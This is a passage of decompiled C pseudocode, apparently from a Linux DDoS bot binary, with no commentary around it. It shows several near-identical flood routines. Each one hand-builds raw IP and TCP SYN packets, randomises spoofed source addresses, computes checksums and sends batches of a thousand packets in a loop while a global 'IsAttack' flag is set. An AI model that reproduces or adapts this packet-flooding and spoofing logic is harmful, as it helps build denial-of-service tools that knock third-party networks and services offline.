  4290.     signed int _v700;
  4291.     signed int _v704;
  4292.     signed int _v708;
  4293.     signed int _v712;
  4294.     intOrPtr _v768;
  4295.     signed int _v772;
  4296.     signed int _v774;
  4297.     char _v932;
  4298.     signed short _v1352;
  4299.     signed int _v1396;
  4300.     signed int _v1400;
  4301.     signed int _v1404;
  4302.     signed int _v1408;
  4303.     signed int _v1412;
  4304.     intOrPtr _v1476;
  4305.     signed int _v1480;
  4306.     signed int _v1482;
  4307.     char _v1640;
  4308.     signed short _v2060;
  4309.     signed int _v2112;
  4310.     signed int _v2116;
  4311.     signed int _v2120;
  4312.     signed char _v2124;
  4313.     signed int _v2128;
  4314.     intOrPtr _v2196;
  4315.     signed int _v2200;
  4316.     signed int _v2202;
  4317.     intOrPtr _v2352;
  4318.     char _v2364;
  4319.     signed short _v2784;
  4320.     signed int _v2828;
  4321.     signed int _v2832;
  4322.     signed int _v2836;
  4323.     signed char _v2840;
  4324.     signed int _v2844;
  4325.     signed int _v2856;
  4326.     signed int _v2860;
  4327.     signed char _v2864;
  4328.     signed int _v2866;
  4329.     _unknown_ r6;
  4330.     _unknown_ _t919;
  4331.     signed int _t920;
  4332.     signed char* _t925;
  4333.     _unknown_ _t927;
  4334.     _unknown_ _t928;
  4335.     _unknown_ _t929;
  4336.     _unknown_ _t930;
  4337.     _unknown_ _t934;
  4338.     signed int _t935;
  4339.     intOrPtr _t937;
  4340.     _unknown_ _t939;
  4341.     _unknown_ _t940;
  4342.     _unknown_ _t941;
  4343.     _unknown_ _t942;
  4344.     _unknown_ _t946;
  4345.     signed int _t947;
  4346.     intOrPtr _t949;
  4347.     _unknown_ _t951;
  4348.     _unknown_ _t952;
  4349.     _unknown_ _t953;
  4350.     _unknown_ _t954;
  4351.     _unknown_ _t958;
  4352.     signed int _t959;
  4353.     signed int _t964;
  4354.     _unknown_ _t966;
  4355.     _unknown_ _t967;
  4356.     _unknown_ _t968;
  4357.     _unknown_ _t969;
  4358.     _unknown_ _t990;
  4359.     signed char _t1009;
  4360.     short _t1018;
  4361.     intOrPtr _t1020;
  4362.     intOrPtr _t1022;
  4363.     short _t1031;
  4364.     signed int _t1039;
  4365.     signed int _t1040;
  4366.     _unknown_ _t1042;
  4367.     intOrPtr _t1050;
  4368.     signed int _t1051;
  4369.     _unknown_ _t1053;
  4370.     short _t1062;
  4371.     signed int _t1063;
  4372.     _unknown_ _t1065;
  4373.     signed int _t1074;
  4374.     _unknown_ _t1076;
  4375.     _unknown_ _t1081;
  4376.     signed char _t1091;
  4377.     _unknown_ _t1094;
  4378.     _unknown_ _t1098;
  4379.     _unknown_ _t1103;
  4380.     _unknown_ _t1112;
  4381.     _unknown_ _t1116;
  4382.     short unsigned int _t1119;
  4383.     _unknown_ _t1124;
  4384.     _unknown_ _t1139;
  4385.     signed char _t1158;
  4386.     short _t1167;
  4387.     intOrPtr _t1169;
  4388.     intOrPtr _t1171;
  4389.     short _t1180;
  4390.     signed int _t1188;
  4391.     signed int _t1189;
  4392.     _unknown_ _t1191;
  4393.     intOrPtr _t1199;
  4394.     signed int _t1200;
  4395.     _unknown_ _t1202;
  4396.     short _t1211;
  4397.     signed int _t1212;
  4398.     _unknown_ _t1214;
  4399.     signed int _t1223;
  4400.     _unknown_ _t1225;
  4401.     _unknown_ _t1230;
  4402.     signed char _t1240;
  4403.     _unknown_ _t1243;
  4404.     _unknown_ _t1247;
  4405.     _unknown_ _t1252;
  4406.     _unknown_ _t1261;
  4407.     _unknown_ _t1265;
  4408.     short unsigned int _t1268;
  4409.     signed int _t1271;
  4410.     _unknown_ _t1273;
  4411.     signed int _t1276;
  4412.     _unknown_ _t1292;
  4413.     char _t1311;
  4414.     short _t1320;
  4415.     intOrPtr _t1322;
  4416.     intOrPtr _t1324;
  4417.     short _t1333;
  4418.     signed int _t1341;
  4419.     signed int _t1342;
  4420.     _unknown_ _t1344;
  4421.     intOrPtr _t1352;
  4422.     signed int _t1353;
  4423.     _unknown_ _t1355;
  4424.     short _t1364;
  4425.     signed int _t1365;
  4426.     _unknown_ _t1367;
  4427.     signed int _t1376;
  4428.     _unknown_ _t1378;
  4429.     _unknown_ _t1383;
  4430.     char _t1393;
  4431.     _unknown_ _t1396;
  4432.     _unknown_ _t1400;
  4433.     _unknown_ _t1405;
  4434.     _unknown_ _t1414;
  4435.     _unknown_ _t1418;
  4436.     short unsigned int _t1421;
  4437.     _unknown_ _t1438;
  4438.     char _t1457;
  4439.     short _t1466;
  4440.     intOrPtr _t1468;
  4441.     intOrPtr _t1470;
  4442.     short _t1479;
  4443.     signed int _t1487;
  4444.     signed int _t1488;
  4445.     _unknown_ _t1490;
  4446.     intOrPtr _t1498;
  4447.     signed int _t1499;
  4448.     _unknown_ _t1501;
  4449.     short _t1510;
  4450.     signed int _t1511;
  4451.     _unknown_ _t1513;
  4452.     signed int _t1522;
  4453.     _unknown_ _t1524;
  4454.     _unknown_ _t1529;
  4455.     char _t1539;
  4456.     _unknown_ _t1542;
  4457.     _unknown_ _t1546;
  4458.     _unknown_ _t1551;
  4459.     _unknown_ _t1560;
  4460.     _unknown_ _t1564;
  4461.     short unsigned int _t1567;
  4462.     signed int _t1570;
  4463.     _unknown_ _t1572;
  4464.     signed int _t1585;
  4465.     signed int _t1611;
  4466.     signed int _t1612;
  4467.     signed int _t1613;
  4468.     signed int _t1619;
  4469.     signed int _t1620;
  4470.     signed int _t1621;
  4471.     signed int _t1625;
  4472.     signed int _t1629;
  4473.     signed int _t1630;
  4474.     signed int _t1631;
  4475.     signed int _t1637;
  4476.     signed int _t1638;
  4477.     signed int _t1639;
  4478.     signed int _t1671;
  4479.     _unknown_ _t1679;
  4480.     _unknown_ _t1687;
  4481.     _unknown_ _t1715;
  4482.     signed int _t1722;
  4483.     _unknown_ _t1759;
  4484.     _unknown_ _t1799;
  4485.     _unknown_ _t1807;
  4486.     _unknown_ _t1817;
  4487.     signed int* _t1818;
  4488.     signed int* _t1819;
  4489.     signed int* _t1820;
  4490.     _unknown_ _t1821;
  4491.  
  4492.     _push(__esi);
  4493.     _push(_t1585);
  4494.     __esp = __esp - 704;
  4495.     L0806F910( &_v232, 160);
  4496.     L0806F9E0(_t1810, __esi,  &_v232, ThreadData, 160);
  4497.     _v70 = 2;
  4498.     _v712 = 16;
  4499.     _t920 =  &_v652;
  4500.      *__esp = _t920;
  4501.     L0806F910();
  4502.     _v708 = 6;
  4503.     L08073680(_t1585, __esp, 2, 3);
  4504.     _v68 = _t920;
  4505.     _v652 = 2;
  4506.     _v64 = _v220;
  4507.     if(_v64 <= 60 || _v64 > 800) {
  4508.         _v64 = 61;
  4509.     }
  4510.     _v60 = _v64 - 60;
  4511.     _t925 =  &_v232 + 20;
  4512.     L08075250(_t925);
  4513.     _v56 = _t925;
  4514.     if(_v56 != 0) {
  4515.         _t1438 = L0806E4D0( &_v232 + 20, "0.0.0.0");
  4516.         if(_t1438 == 0) {
  4517.         } else {
  4518.             _v52 = 0;
  4519.             _v52 = _v216;
  4520.             if(_v52 <= 0 || _v52 > 86400) {
  4521.                 _v52 = 20;
  4522.             }
  4523.             _v648 =  *( *(_v56[0x10]));
  4524.             _v48 = 20;
  4525.             _v44 =  &_v508;
  4526.             _v40 =  &_v508 + 20;
  4527.             _v36 =  &_v508 + 40;
  4528.              *_v44 =  *_v44 & 255 & 240 | 5;
  4529.              *_v44 =  *_v44 & 255 & 15 | 64;
  4530.             (_v44[1]) = 0;
  4531.             (_v44[2]) = 60;
  4532.              *__esp = 31337;
  4533.             _t1457 = L08075240(__esp);
  4534.             (_v44[4]) = _t1457;
  4535.             (_v44[6]) = 0;
  4536.             (_v44[8]) = 250;
  4537.             (_v44[9]) = 6;
  4538.             (_v44[0xa]) = 0;
  4539.             (_v44[0x10]) = _v648;
  4540.              *__esp = _v84 & 65535;
  4541.             _t1466 = L08075240(__esp);
  4542.              *((short*)(_v40 + 2)) = _t1466;
  4543.              *__esp = 31337;
  4544.             _t1468 = L08075230(__esp);
  4545.              *((intOrPtr*)(_v40 + 4)) = _t1468;
  4546.              *__esp = 0;
  4547.             _t1470 = L08075230(__esp);
  4548.              *((intOrPtr*)(_v40 + 8)) = _t1470;
  4549.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
  4550.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
  4551.              *(_v40 + 13) = _v70 & 65535;
  4552.              *__esp = 57344;
  4553.             _t1479 = L08075240(__esp);
  4554.              *((short*)(_v40 + 14)) = _t1479;
  4555.              *(_v40 + 16) = 0;
  4556.              *(_v40 + 18) = 0;
  4557.             if((_v48 & 3) != 0) {
  4558.                 _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
  4559.             }
  4560.             _v48 = 40;
  4561.             _v656 = 1;
  4562.             _v32 =  &_v656;
  4563.             _v700 = 4;
  4564.             _v704 = _v32;
  4565.             _v708 = 3;
  4566.             _v712 = 0;
  4567.             _t1487 = _v68;
  4568.              *__esp = _t1487;
  4569.             L08073640(_t1585, __esp);
  4570.             if(_t1487 >= 0) {
  4571.             } else {
  4572.                 _v28 = 0;
  4573.                 while(1) {
  4574.                     _t1488 = IsAttack;
  4575.                     if(_t1488 == 0) {
  4576.                         break;
  4577.                     }
  4578.                     _v24 = 0;
  4579.                     while(_v24 <= 999) {
  4580.                         L0805EBE0();
  4581.                         _t1637 = _t1488;
  4582.                         _v692 = -2147450879;
  4583.                         _v680 = ((_v692 * _t1637 >> 32) + _t1637 >> 15) - (_t1637 >> 31);
  4584.                         _v680 = _t1637 - (_v680 << 16) - _v680;
  4585.                          *__esp = _v680;
  4586.                         _t1498 = L08075230(__esp);
  4587.                         _t1499 = _v40;
  4588.                          *((intOrPtr*)(_t1499 + 4)) = _t1498;
  4589.                         L0805EBE0();
  4590.                         _t1638 = _t1499;
  4591.                         _v692 = -2147450879;
  4592.                         _v676 = ((_v692 * _t1638 >> 32) + _t1638 >> 15) - (_t1638 >> 31);
  4593.                         _v676 = _t1638 - (_v676 << 16) - _v676;
  4594.                          *__esp = _v676 & 65535 & 65535;
  4595.                         _t1510 = L08075240(__esp);
  4596.                         _t1511 = _v40;
  4597.                          *((short*)(_t1511 + 14)) = _t1510;
  4598.                         L0805EBE0();
  4599.                         _t1639 = _t1511;
  4600.                         _v692 = -2147450879;
  4601.                         _t1585 = ((_v692 * _t1639 >> 32) + _t1639 >> 15) - (_t1639 >> 31);
  4602.                         _v672 = _t1585;
  4603.                         _v672 = _t1639 - (_v672 << 16) - _v672;
  4604.                          *_v40 = _v672 & 65535;
  4605.                         _t1522 = _v76 - _v80;
  4606.                         _v20 = _t1522;
  4607.                         if(_v20 <= 0) {
  4608.                             goto L23;
  4609.                         } else {
  4610.                             L0805EBE0();
  4611.                             _v16 = _t1522 % _v20 + _v80;
  4612.                             L0806F850(_t1585, _t1810, __esi,  &_v252, 0, 20);
  4613.                             _v696 = _v16 & 255;
  4614.                             _v700 = _v16 >> 8 & 255;
  4615.                             _v704 = _v16 >> 16 & 255;
  4616.                             L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
  4617.                             _t1539 = L08073B40( &_v252);
  4618.                             (_v44[0xc]) = _t1539;
  4619.                             L0806F850(_v16 >> 16 & 255, _t1810, __esi,  &_v636, 0, 128);
  4620.                             L0806F9E0(_t1810, __esi,  &_v636,  &(_v44[0xc]), 4);
  4621.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[2]),  &(_v44[0x10]), 4);
  4622.                             _v628 = 0;
  4623.                             _v627 = (_v44[9]) & 255;
  4624.                             _v626 = _v48 >> 8;
  4625.                             _v625 = _v48;
  4626.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[6]), _v40, 20);
  4627.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[0x10]), _v36, 8);
  4628.                             _t1567 = csum( &_v636, _v48 + 12);
  4629.                              *(_v40 + 16) = _t1567;
  4630.                             __esi =  &_v652;
  4631.                             _t1570 = (_v44[2]) & 65535;
  4632.                             _t1585 = _t1570 & 65535;
  4633.                             L0805EBE0();
  4634.                             _v696 = 16;
  4635.                             _v700 = __esi;
  4636.                             _v704 = 0;
  4637.                             _v708 = _t1585 + _t1570 % _v60;
  4638.                             _t1488 = L08052C20(__esi, _v68,  &_v508);
  4639.                             _v24 = _v24 + 1;
  4640.                             continue;
  4641.                         }
  4642.                         goto L23;
  4643.                     }
  4644.                 }
  4645.             }
  4646.         }
  4647.     }
  4648. L23:
  4649.     L08052A50(_v68);
  4650.     _t928 = L08051050();
  4651.     L08051000(_t928);
  4652.      *__esp = 0;
  4653.     L08050FE0();
  4654.     goto L24;
  4655. L24:
  4656.     _push(_t1817);
  4657.     _t1818 = __esp;
  4658.     _push(_t1585);
  4659.     __esp = __esp - 692;
  4660.     L0806F910( &_v932, 156);
  4661.     L0806F9E0(_t1810, __esi,  &_v932, _v712, 156);
  4662.     _v774 = 16;
  4663.     _v1412 = 16;
  4664.     _t935 =  &_v1352;
  4665.      *__esp = _t935;
  4666.     L0806F910();
  4667.     _v1408 = 6;
  4668.     L08073680(_t1585, __esp, 2, 3);
  4669.     _v772 = _t935;
  4670.     _v1352 = 2;
  4671.     _t937 =  &_v932 + 16;
  4672.     L08075250(_t937);
  4673.     _v768 = _t937;
  4674.     if(_v768 != 0) {
  4675.         _t1292 = L0806E4D0( &((char*)( &_v220)[4]), "0.0.0.0");
  4676.         if(_t1292 == 0) {
  4677.         } else {
  4678.             _v52 = 0;
  4679.             _v52 = _v208;
  4680.             if(_v52 <= 0 || _v52 > 86400) {
  4681.                 _v52 = 20;
  4682.             }
  4683.             _v636 =  *( *(_v56[0x10]));
  4684.             _v48 = 20;
  4685.             _v44 =  &_v496;
  4686.             _v40 =  &_v496 + 20;
  4687.             _v36 =  &_v496 + 40;
  4688.              *_v44 =  *_v44 & 255 & 240 | 5;
  4689.              *_v44 =  *_v44 & 255 & 15 | 64;
  4690.             (_v44[1]) = 0;
  4691.             (_v44[2]) = 60;
  4692.              *__esp = 31337;
  4693.             _t1311 = L08075240(__esp);
  4694.             (_v44[4]) = _t1311;
  4695.             (_v44[6]) = 0;
  4696.             (_v44[8]) = 250;
  4697.             (_v44[9]) = 6;
  4698.             (_v44[0xa]) = 0;
  4699.             (_v44[0x10]) = _v636;
  4700.              *__esp = _v76 & 65535;
  4701.             _t1320 = L08075240(__esp);
  4702.              *((short*)(_v40 + 2)) = _t1320;
  4703.              *__esp = 31337;
  4704.             _t1322 = L08075230(__esp);
  4705.              *((intOrPtr*)(_v40 + 4)) = _t1322;
  4706.              *__esp = 0;
  4707.             _t1324 = L08075230(__esp);
  4708.              *((intOrPtr*)(_v40 + 8)) = _t1324;
  4709.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
  4710.              *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
  4711.              *(_v40 + 13) = _v62 & 65535;
  4712.              *__esp = 57344;
  4713.             _t1333 = L08075240(__esp);
  4714.              *((short*)(_v40 + 14)) = _t1333;
  4715.              *(_v40 + 16) = 0;
  4716.              *(_v40 + 18) = 0;
  4717.             if((_v48 & 3) != 0) {
  4718.                 _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
  4719.             }
  4720.             _v48 = 40;
  4721.             _v644 = 1;
  4722.             _v32 =  &_v644;
  4723.             _v1400 = 4;
  4724.             _v1404 = _v32;
  4725.             _v1408 = 3;
  4726.             _v1412 = 0;
  4727.             _t1341 = _v60;
  4728.              *__esp = _t1341;
  4729.             L08073640(_t1585, __esp);
  4730.             if(_t1341 >= 0) {
  4731.             } else {
  4732.                 _v28 = 0;
  4733.                 while(1) {
  4734.                     _t1342 = IsAttack;
  4735.                     if(_t1342 == 0) {
  4736.                         break;
  4737.                     }
  4738.                     _v24 = 0;
  4739.                     while(_v24 <= 999) {
  4740.                         L0805EBE0();
  4741.                         _t1629 = _t1342;
  4742.                         _v672 = -2147450879;
  4743.                         _v664 = ((_v672 * _t1629 >> 32) + _t1629 >> 15) - (_t1629 >> 31);
  4744.                         _v664 = _t1629 - (_v664 << 16) - _v664;
  4745.                          *__esp = _v664;
  4746.                         _t1352 = L08075230(__esp);
  4747.                         _t1353 = _v40;
  4748.                          *((intOrPtr*)(_t1353 + 4)) = _t1352;
  4749.                         L0805EBE0();
  4750.                         _t1630 = _t1353;
  4751.                         _v672 = -2147450879;
  4752.                         _v660 = ((_v672 * _t1630 >> 32) + _t1630 >> 15) - (_t1630 >> 31);
  4753.                         _v660 = _t1630 - (_v660 << 16) - _v660;
  4754.                          *__esp = _v660 & 65535 & 65535;
  4755.                         _t1364 = L08075240(__esp);
  4756.                         _t1365 = _v40;
  4757.                          *((short*)(_t1365 + 14)) = _t1364;
  4758.                         L0805EBE0();
  4759.                         _t1631 = _t1365;
  4760.                         _v672 = -2147450879;
  4761.                         _t1585 = ((_v672 * _t1631 >> 32) + _t1631 >> 15) - (_t1631 >> 31);
  4762.                         _v656 = _t1585;
  4763.                         _v656 = _t1631 - (_v656 << 16) - _v656;
  4764.                          *_v40 = _v656 & 65535;
  4765.                         _t1376 = _v68 - _v72;
  4766.                         _v20 = _t1376;
  4767.                         if(_v20 <= 0) {
  4768.                             goto L44;
  4769.                         } else {
  4770.                             L0805EBE0();
  4771.                             _v16 = _t1376 % _v20 + _v72;
  4772.                             L0806F850(_t1585, _t1810, __esi,  &_v240, 0, 20);
  4773.                             _t1585 = _v16 >> 16 & 255;
  4774.                             _v1396 = _v16 & 255;
  4775.                             _v1400 = _v16 >> 8 & 255;
  4776.                             _v1404 = _t1585;
  4777.                             L0805FF50( &_v240, "%d.%d.%d.%d", _v16 >> 24);
  4778.                             _t1393 = L08073B40( &_v240);
  4779.                             (_v44[0xc]) = _t1393;
  4780.                             L0806F850(_t1585, _t1810, __esi,  &_v624, 0, 128);
  4781.                             L0806F9E0(_t1810, __esi,  &_v624,  &(_v44[0xc]), 4);
  4782.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[2]),  &(_v44[0x10]), 4);
  4783.                             _v616 = 0;
  4784.                             _v615 = (_v44[9]) & 255;
  4785.                             _v614 = _v48 >> 8;
  4786.                             _v613 = _v48;
  4787.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[6]), _v40, 20);
  4788.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v624)[0x10]), _v36, 8);
  4789.                             _t1421 = csum( &_v624, _v48 + 12);
  4790.                              *(_v40 + 16) = _t1421;
  4791.                             _v1396 = 16;
  4792.                             _v1400 =  &_v640;
  4793.                             _v1404 = 0;
  4794.                             _v1408 = (_v44[2]) & 65535 & 65535;
  4795.                             _t1342 = L08052C20(__esi, _v60,  &_v496);
  4796.                             _v24 = _v24 + 1;
  4797.                             continue;
  4798.                         }
  4799.                         goto L44;
  4800.                     }
  4801.                 }
  4802.             }
  4803.         }
  4804.     }
  4805. L44:
  4806.     L08052A50(_v60);
  4807.     _t940 = L08051050();
  4808.     L08051000(_t940);
  4809.      *__esp = 0;
  4810.     L08050FE0();
  4811.     goto L45;
  4812. L45:
  4813.     _push(_t1818);
  4814.     _t1819 = __esp;
  4815.     _push(_t1810);
  4816.     _push(__esi);
  4817.     _push(_t1585);
  4818.     __esp = __esp - 700;
  4819.     L0806F910( &_v1640, 156);
  4820.     L0806F9E0(_t1810, __esi,  &_v1640, _v1412, 156);
  4821.     _v1482 = 16;
  4822.     _v2128 = 16;
  4823.     _t947 =  &_v2060;
  4824.      *__esp = _t947;
  4825.     L0806F910();
  4826.     _v2124 = 6;
  4827.     L08073680(_t1585, __esp, 2, 3);
  4828.     _v1480 = _t947;
  4829.     _v2060 = 2;
  4830.     _t949 =  &_v1640 + 16;
  4831.     L08075250(_t949);
  4832.     _v1476 = _t949;
  4833.     if(_v1476 != 0) {
  4834.         _t1139 = L0806E4D0( &_v232 + 16, "0.0.0.0");
  4835.         if(_t1139 == 0) {
  4836.         } else {
  4837.             _v64 = 0;
  4838.             _v64 = _v220;
  4839.             if(_v64 <= 0 || _v64 > 86400) {
  4840.                 _v64 = 20;
  4841.             }
  4842.             _v648 =  *( *( *(_v68 + 16)));
  4843.             _v60 = 20;
  4844.             _v56 =  &_v508;
  4845.             _v52 =  &_v508 + 20;
  4846.             _v48 =  &_v508 + 40;
  4847.              *_v56 =  *_v56 & 255 & 240 | 5;
  4848.              *_v56 =  *_v56 & 255 & 15 | 64;
  4849.             (_v56[1]) = 0;
  4850.             (_v56[2]) = 60;
  4851.              *__esp = 31337;
  4852.             _t1158 = L08075240(__esp);
  4853.             (_v56[4]) = _t1158;
  4854.             (_v56[6]) = 0;
  4855.             (_v56[8]) = 250;
  4856.             (_v56[9]) = 6;
  4857.             (_v56[0xa]) = 0;
  4858.             (_v56[0x10]) = _v648;
  4859.              *__esp = _v88 & 65535;
  4860.             _t1167 = L08075240(__esp);
  4861.              *((short*)(_v52 + 2)) = _t1167;
  4862.              *__esp = 31337;
  4863.             _t1169 = L08075230(__esp);
  4864.              *((intOrPtr*)(_v52 + 4)) = _t1169;
  4865.              *__esp = 0;
  4866.             _t1171 = L08075230(__esp);
  4867.              *((intOrPtr*)(_v52 + 8)) = _t1171;
  4868.              *(_v52 + 12) =  *(_v52 + 12) & 255 & 240;
  4869.              *(_v52 + 12) =  *(_v52 + 12) & 255 & 15 | 160;
  4870.              *(_v52 + 13) = _v74 & 65535;
  4871.              *__esp = 57344;
  4872.             _t1180 = L08075240(__esp);
  4873.              *((short*)(_v52 + 14)) = _t1180;
  4874.              *((short*)(_v52 + 16)) = 0;
  4875.              *(_v52 + 18) = 0;
  4876.             if((_v60 & 3) != 0) {
  4877.                 _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
  4878.             }
  4879.             _v60 = 40;
  4880.             _v656 = 1;
  4881.             _v44 =  &_v656;
  4882.             _v2116 = 4;
  4883.             _v2120 = _v44;
  4884.             _v2124 = 3;
  4885.             _v2128 = 0;
  4886.             _t1188 = _v72;
  4887.              *__esp = _t1188;
  4888.             L08073640(_t1585, __esp);
  4889.             if(_t1188 >= 0) {
  4890.             } else {
  4891.                 _v40 = 0;
  4892.                 while(1) {
  4893.                     _t1189 = IsAttack;
  4894.                     if(_t1189 == 0) {
  4895.                         break;
  4896.                     }
  4897.                     _v36 = 0;
  4898.                     while(_v36 <= 999) {
  4899.                         L0805EBE0();
  4900.                         _t1619 = _t1189;
  4901.                         _v688 = -2147450879;
  4902.                         _v680 = ((_v688 * _t1619 >> 32) + _t1619 >> 15) - (_t1619 >> 31);
  4903.                         _v680 = _t1619 - (_v680 << 16) - _v680;
  4904.                          *__esp = _v680;
  4905.                         _t1199 = L08075230(__esp);
  4906.                         _t1200 = _v52;
  4907.                          *((intOrPtr*)(_t1200 + 4)) = _t1199;
  4908.                         L0805EBE0();
  4909.                         _t1620 = _t1200;
  4910.                         _v688 = -2147450879;
  4911.                         _v676 = ((_v688 * _t1620 >> 32) + _t1620 >> 15) - (_t1620 >> 31);
  4912.                         _v676 = _t1620 - (_v676 << 16) - _v676;
  4913.                          *__esp = _v676 & 65535 & 65535;
  4914.                         _t1211 = L08075240(__esp);
  4915.                         _t1212 = _v52;
  4916.                          *((short*)(_t1212 + 14)) = _t1211;
  4917.                         L0805EBE0();
  4918.                         _t1621 = _t1212;
  4919.                         _v688 = -2147450879;
  4920.                         _t1585 = ((_v688 * _t1621 >> 32) + _t1621 >> 15) - (_t1621 >> 31);
  4921.                         _v672 = _t1585;
  4922.                         _t1810 = _t1621 - (_v672 << 16) - _v672;
  4923.                         _v672 = _t1621 - (_v672 << 16) - _v672;
  4924.                          *_v52 = _v672 & 65535;
  4925.                         _t1223 = _v80 - _v84;
  4926.                         _v32 = _t1223;
  4927.                         if(_v32 <= 0) {
  4928.                             goto L65;
  4929.                         } else {
  4930.                             L0805EBE0();
  4931.                             _v28 = _t1223 % _v32 + _v84;
  4932.                             L0806F850(_t1585, _t1810, __esi,  &_v252, 0, 20);
  4933.                             _v2112 = _v28 & 255;
  4934.                             _v2116 = _v28 >> 8 & 255;
  4935.                             _v2120 = _v28 >> 16 & 255;
  4936.                             L0805FF50( &_v252, "%d.%d.%d.%d", _v28 >> 24);
  4937.                             _t1240 = L08073B40( &_v252);
  4938.                             (_v56[0xc]) = _t1240;
  4939.                             L0806F850(_v28 >> 16 & 255, _t1810, __esi,  &_v636, 0, 128);
  4940.                             L0806F9E0(_t1810, __esi,  &_v636,  &(_v56[0xc]), 4);
  4941.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[2]),  &(_v56[0x10]), 4);
  4942.                             _v628 = 0;
  4943.                             _v627 = (_v56[9]) & 255;
  4944.                             _v626 = _v60 >> 8;
  4945.                             _v625 = _v60;
  4946.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[6]), _v52, 20);
  4947.                             L0806F9E0(_t1810, __esi,  &((char*)( &_v636)[0x10]), _v48, 8);
  4948.                             _t1268 = csum( &_v636, _v60 + 12);
  4949.                              *((short*)(_v52 + 16)) = _t1268;
  4950.                             _t1585 =  &_v652;
  4951.                             _t1271 = (_v56[2]) & 65535;
  4952.                             __esi = _t1271 & 65535;
  4953.                             L0805EBE0();
  4954.                             _t1625 = _t1271;
  4955.                             _v688 = -1600085855;
  4956.                             _t1722 = _v688 * _t1625 >> 32;
  4957.                             _t1276 = _t1625 >> 31;
  4958.                             _t1810 = (_t1722 + _t1625 >> 7) - _t1276;
  4959.                             _v668 = (_t1722 + _t1625 >> 7) - _t1276;
  4960.                             _v668 = _t1625 - _t1276 * _v668;
  4961.                             _v2112 = 16;
  4962.                             _v2116 = _t1585;
  4963.                             _v2120 = 0;
  4964.                             _v2124 = __esi + _v668 + 800;
  4965.                             _t1189 = L08052C20(__esi, _v72,  &_v508);
  4966.                             _v36 = _v36 + 1;
  4967.                             continue;
  4968.                         }
  4969.                         goto L65;
  4970.                     }
  4971.                 }
  4972.             }
  4973.         }
  4974.     }
  4975. L65:
  4976.     L08052A50(_v72);
  4977.     _t952 = L08051050();
  4978.     L08051000(_t952);
  4979.      *__esp = 0;
  4980.     L08050FE0();
  4981.     goto L66;
  4982. L66:
  4983.     _push(_t1819);
  4984.     _t1820 = __esp;
  4985.     _push(__esi);
  4986.     _push(_t1585);
  4987.     __esp = __esp - 704;
  4988.     L0806F910( &_v2364, 160);
  4989.     L0806F9E0(_t1810, __esi,  &_v2364, _v2128, 160);
  4990.     _v2202 = 16;
  4991.     _v2844 = 16;
  4992.     _t959 =  &_v2784;
  4993.      *__esp = _t959;
  4994.     L0806F910();
  4995.     _v2840 = 6;
  4996.     L08073680(_t1585, __esp, 2, 3);
  4997.     _v2200 = _t959;
  4998.     _v2784 = 2;
  4999.     _v2196 = _v2352;
  5000.     if(_v2196 <= 60 || _v76 > 800) {
  5001.         _v76 = 61;
  5002.     }
  5003.     _v72 = _v76 - 60;
  5004.     _t964 =  &_v244 + 20;
  5005.     L08075250(_t964);
  5006.     _v68 = _t964;
  5007.     if(_v68 != 0) {
  5008.         _t990 = L0806E4D0( &_v244 + 20, "0.0.0.0");
  5009.         if(_t990 == 0) {
  5010.         } else {
  5011.             _v64 = 0;
  5012.             _v64 = _v228;
  5013.             if(_v64 <= 0 || _v64 > 86400) {
  5014.                 _v64 = 20;
  5015.             }
  5016.             _v660 =  *( *( *(_v68 + 16)));
  5017.             _v60 = 20;
  5018.             _v56 =  &_v520;
  5019.             _v52 =  &_v520 + 20;
  5020.             _v48 =  &_v520 + 40;
  5021.              *_v56 =  *_v56 & 255 & 240 | 5;
  5022.              *_v56 =  *_v56 & 255 & 15 | 64;
  5023.             (_v56[1]) = 0;
  5024.             (_v56[2]) = 60;
  5025.              *__esp = 31337;
  5026.             _t1009 = L08075240(__esp);
  5027.             (_v56[4]) = _t1009;
  5028.             (_v56[6]) = 0;
  5029.             (_v56[8]) = 250;
  5030.             (_v56[9]) = 6;
  5031.             (_v56[0xa]) = 0;
  5032.             (_v56[0x10]) = _v660;
  5033.              *__esp = _v96 & 65535;
  5034.             _t1018 = L08075240(__esp);
  5035.              *((short*)(_v52 + 2)) = _t1018;
  5036.              *__esp = 31337;
  5037.             _t1020 = L08075230(__esp);
  5038.              *((intOrPtr*)(_v52 + 4)) = _t1020;
  5039.              *__esp = 0;
  5040.             _t1022 = L08075230(__esp);
  5041.              *((intOrPtr*)(_v52 + 8)) = _t1022;
  5042.              *(_v52 + 12) =  *(_v52 + 12) & 255 & 240;
  5043.              *(_v52 + 12) =  *(_v52 + 12) & 255 & 15 | 160;
  5044.              *(_v52 + 13) = _v82 & 65535;
  5045.              *__esp = 57344;
  5046.             _t1031 = L08075240(__esp);
  5047.              *((short*)(_v52 + 14)) = _t1031;
  5048.              *((short*)(_v52 + 16)) = 0;
  5049.              *(_v52 + 18) = 0;
  5050.             if((_v60 & 3) != 0) {
  5051.                 _v60 = (_v60 + (_v60 >> 31 >> 30) & 3) - (_v60 >> 31 >> 30) + 1 << 2;
  5052.             }
  5053.             _v60 = 40;
  5054.             _v668 = 1;
  5055.             _v44 =  &_v668;
  5056.             _v2832 = 4;
  5057.             _v2836 = _v44;
  5058.             _v2840 = 3;
  5059.             _v2844 = 0;
  5060.             _t1039 = _v80;
  5061.              *__esp = _t1039;
  5062.             L08073640(_t1585, __esp);
  5063.             if(_t1039 >= 0) {
  5064.             } else {
  5065.                 _v40 = 0;
  5066.                 while(1) {
  5067.                     _t1040 = IsAttack;
  5068.                     if(_t1040 == 0) {
  5069.                         break;
  5070.                     }
  5071.                     _v36 = 0;
  5072.                     while(_v36 <= 999) {
  5073.                         L0805EBE0();
